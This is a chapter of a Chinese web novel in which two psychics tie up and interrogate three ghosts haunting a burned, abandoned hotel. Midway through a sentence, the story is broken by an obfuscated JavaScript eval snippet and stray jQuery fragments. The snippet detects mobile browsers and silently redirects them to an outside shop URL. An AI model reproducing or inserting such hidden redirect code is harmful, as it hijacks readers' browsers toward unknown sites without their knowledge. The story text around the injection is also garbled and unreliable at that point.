谢一川在这里飘了快四年,他好像没有了生前的记忆,因为当他有意识起就待在这间金钻酒店里面了。
他看着人来人往,但是大家都看不见他,那时候他就知道自己已经变成阿飘了。
同样被记忆困在这里的,还有另外两个人,他们是一伙的。
但谢一川跟那两人的关系不好,也不能简单地描述成不好,但他很明显能感觉到自己在金字塔的底端,他们总爱点自己去些琐碎的事。
比如今晚。
他们原本在自己的地盘歇着,因为走廊外面有异动,而这里自从废弃以后就许多年没有人光顾了。
两个王八羔子把他踹出了房间,让他去查探一番再回来告诉他们发生了什么事。
谢一川心不甘情不愿地去了,远远地就瞧见了前台有两人。
嘴里还嘀咕不会是又过来了什么灵异探险博主吧,上次来的那一波人就不知道是怎么摸过来的,三人联手就把他们吓得屁滚尿流跑了。
谢一川走近就听见了那两人谈话的声音。
一男一女,没错。
好像是在研究报纸上关于金钻大酒店闹鬼的新闻。
谢一川咧开嘴笑了,这两人肯定想不到他们口中说的鬼就在身后。
他靠了过去,打算先吓唬吓唬这两个不知死活的家伙。
至于接下来——
谢一川也不知道发生了什么,只记得自己眼冒金星,一阵天旋地转之后就晕了过去。
等他迷迷糊糊恢复了意识,能听见外界窸窸窣窣的动静,断断续续地对话传进了他的耳朵里。
“要不就用床单搓成长条吧,绑起来差不多了。”
“不是法器,他轻易就能挣开,你有没有带笔?”
“我上哪带笔……等等,我懂你意思了!”
然后就是小物件落地的轻微响动。
“呐。”
“口红?”
“爱要不要,我这根还是朱砂色的,颜色都对上了凑合先用一下,现在什么条件就别挑三拣四了。”
“……算了,给我。”
谢一川感觉自己像条狗一样被摆弄着,他努力地挣开双眼,映入眼帘的还是刚才那对狗男女。
他们不知道用什么东西捆住了自己,他挣扎了好几次都挣脱不开,反而越缠越紧。
“放开我!你们到底是谁!”
身旁的男人在他说话时还不断动手把被单缠得更紧。
姜星冉搬了一张椅子坐在男鬼正对面,手电筒的光一下子照到了他的脸上,开始了她的盘问。
“我知道你很急,但你先别急,老实交代,你是什么人?”
谢一川冷哼一声,他回答个屁!
就算他再蠢,现在也知道这两人是灵媒了,不然根本不可能看得到自己。
灵媒踏进这里就没好事。
难道是哪个冤种老板想不开打算把这里盘下来重新开张,才让这俩灵媒过来踩点驱邪,谢一川感觉自己已经悟了。
为了守护自己的地盘,他打死也不会说。
姜星冉知道他不肯开口,用手电筒晃悠了一下他的右边,“你看看这边?”
谢一川的脑袋被她强行转了过去,黑暗中一大一小两双发着光的招子紧紧地盯着自己,大猫直接一口舔了上来,充满倒刺的粗粝舌头在他的脸颊滚过。
又疼又痒。
大猫的气息喷在他的脸上,他的身躯禁不住在发抖。
“我说!我什么都说!”
谢一川欲哭无泪,他还是第一次碰到这样的人,不怕自己就算了,还要严刑逼供。
鬼生耻辱!
要是被另外两个知道了,他这张脸往哪搁。
“你们到底想知道什么?”
姜星冉漫不经心地托着下巴想了想,问他:“我们电梯故障是不是你弄的?”
谢一川都懵了,像受了天大委屈那样剧烈挣扎起来,“天地良心,关我什么事!明明是你们闯进来,还要怪到我身上,哪有这样的事?”
她和司冥对视一眼,他看起来确实好像和这事没什么关系。
“老实点。”
司冥摁住他不让他乱动。
“那你又是谁?”
“我叫谢一川,在金钻酒店住了差不多有五年。”
姜星冉随身带着那份旧报纸,听到他的名字后,嘶了一声后又翻开报纸,指着上面记录的三个名字。
谢X、陆X、周X
“这个谢X是不是就是你。”
谢一川点头。
姜星冉又继续问,“那两只鬼也还在这里吗?”
“我不知道。”他嘴硬道。
“是不知道还是不想说?它们现在在哪?”
谢一川干脆闭上了眼睛,一副慷慨赴死的模样。
姜星冉又让小?出来舔了他好几口,它差点把谢一川都吞进去了,他还是装聋作哑。
见问不出什么,她就拿起一旁的枕头套塞住他的嘴巴,省的他再大喊大叫,把其他东西都招过来。
谢一川以为问完话就能放他走了,没想到这两人完全没有这个意思,还把他嘴巴给封住了,丢在一旁的角落里。
“唔唔唔!”他倒在地上蛄蛹。
两人都没功夫理他。
本着“来都来了”的职业习惯,姜星冉和司冥打算再去其他地方看看有没有鬼的踪迹,她把小?和小夜都留在了1号房间看守谢一川。
金钻酒店的走廊很长,经过一处分叉口,姜星冉抬头看了一眼墙上的房间分布地图。
奇怪,就是没有15号房间。
姜星冉琢磨了一下,“不对劲啊。”
从14房就直接跳到了16房,除非地图被换过故意隐去了15号房。
姜星冉打算过去一探究竟,可惜他们今天都没有带香过来,如果带了过来把香燃起来,也能把鬼引过来。
他们来到了之前着火的拐角处。
这么多年过去,空气中依旧萦绕着一阵淡淡的焦糊味,若隐若现。
而且报纸上说的没错,走进来体感温度会升高,仿佛置身在火场边缘。
14房和16房是对门,走到这里,两人决定分头行动,各自进房检查。
门都是半掩的状态,姜星冉推门时,听到一阵极其不适的摩擦声,不知是不是这扇门的铰链缺了润滑液,一动就是令人酸涩的怪声。
房间内的布局和1号房差不多,她摸上了墙壁,感觉靠着床板那一侧的墙莫名摸着有些轻微发烫,似乎是墙后面有了什么东西。
姜星冉想了想,又从14号房走出来。
她用脚丈量着距离,摸着墙壁的方向一步步向前走。
姜星冉摸到一处不平整的地方,她停了下来,是锁孔?
就在她准备用手电筒再仔细看一下时,那阵怪异的感觉又来了,伴随着一阵耳鸣,姜星冉眼前的景象忽然暗了下来,像是被突兀地蒙上了一层黑色的纱。
她什么也看不见,但是手背的招魂铃却在不停地晃动。按理说应该会听到清脆的铃声,但姜星冉什么也听不见。
她立即意识到,自己五感中的视力和听力好像都被暂时剥夺了。
姜星冉当机立断咬破了自己的舌尖,右手食指和中指并拢取了阳气最足的舌尖血,在眼皮上轻轻划过同时口中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617930|203522||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
默念清心诀。
她重新睁开眼,视力当下就恢复正常了。
面前出现了一张近在咫尺的鬼脸。
那张青白色的脸都快要贴她脸上了。
姜星要咬住后槽牙,看起来还是只色鬼。她想都不想,直接念起了九字真言——临兵斗者皆阵列前行。
“滚开!”
她一巴掌打了过去。
鬼脸吃痛地松开手,她的听力也紧接着恢复了,听到了他一声接一声的哀嚎。
不对,后面还有一只。
姜星冉当即回身,发现司冥已经把她背后那只鬼撂倒在地,依葫芦画瓢用画上符文的被罩把他套住。
她余光扫过,之前被自己打翻在地的摄青鬼爬起来想要逃跑。她抬脚就踩上了那人的左手,鞋底传来呲呲的灼烧声,人的身上有三阳,她不是身弱之人,阿飘想接近她蒙住她的耳朵,必定会被自己肩头上的火给灼烧了。
姜星冉现在踩上去,相当于是伤上加伤。
他疼得满地打滚,被踩的手却怎么也拔不出来,眼看着手都要被踩烂了,他只好认输忙不迭地叫唤,“我知道错了!女侠求求你放过我!我再也不敢了!”
姜星冉居高临下地看着他,“我放了你,你要是还想跑怎么办。”
“我发誓我不跑,真的,我周建仁发誓,我要是再敢跑,您就把我俩胳膊卸下来。”
他发了毒誓,谅他也不敢再跑。
姜星冉轻哼一声把人松开,司命将剩下半截的被套扔过来,她干脆利落地把周建仁给五花大绑了。
周建仁见她动作麻利,还绑了一个死猪扣,顿时吓得吞了一口唾沫。
“你们到底想干什么?”
“不想干什么,我们只是偶然到了第7层,进来看看而已。”
周建仁侧目看了一下他们身后被打昏过去的兄弟,又抬眼小心翼翼地看了这两人一眼,这番说辞鬼都不信啊!
姜星冉继续沿着刚才摸到的墙沿,隐隐摸到了暗门的形状。
“这里就是15号房?”
周建仁点头,“是,但这里已经被改成杂物房了,里面的东西早就被员工搬空了。”
两只鬼都被一块打包拖回到1号房。
谢一川看到自己两个兄弟时眼睛都瞪大了,奈何它咬着布条说不出话,以及他身边蹲着的一大一小两只猫都盯着他流口水,口水都甩到他身上了。
周建仁自然也看见了同样被绑着的谢一川,还没来得及嫌弃他没用,就被司冥甩到一堆。
“他叫周什么?”司冥指着另外一个仍在昏迷中的鬼问道。
“陆生,他叫陆生。”周建仁回答。
那就对了,当初死在火灾里的三人就是他们。
姜星冉又坐回了那张座椅,就着轮子转了一圈,又问:“那名意外猝死的黄姓女客人……”
话还没说完,周建仁和谢一川就知道她什么意思了,赶紧摇头撇清关系,“她是自己死的,和我们一点关系都没有,不信你把陆生叫起来问。”
“不是你们干的,这么紧张做什么,心里有鬼?”
“因为你们不是第一个问这个问题的人了,之前也来过一伙人,其中就有灵媒,她硬是让我们上她的身,说清楚当初那个女客人的真正死因是什么。”
姜星冉听到曾经有同行过来,来了兴致追问,“然后呢?”
“然后什么都没问出来,因为那个女人真是猝死的,她估计是觉得没有得到她想要的答案就把我们赶走了。”周建仁寻找记忆点,又说出了更多内容,“好像叫什么《灵媒101》,一档老掉牙的节目,请这种水货,估计播了也没什么人看。”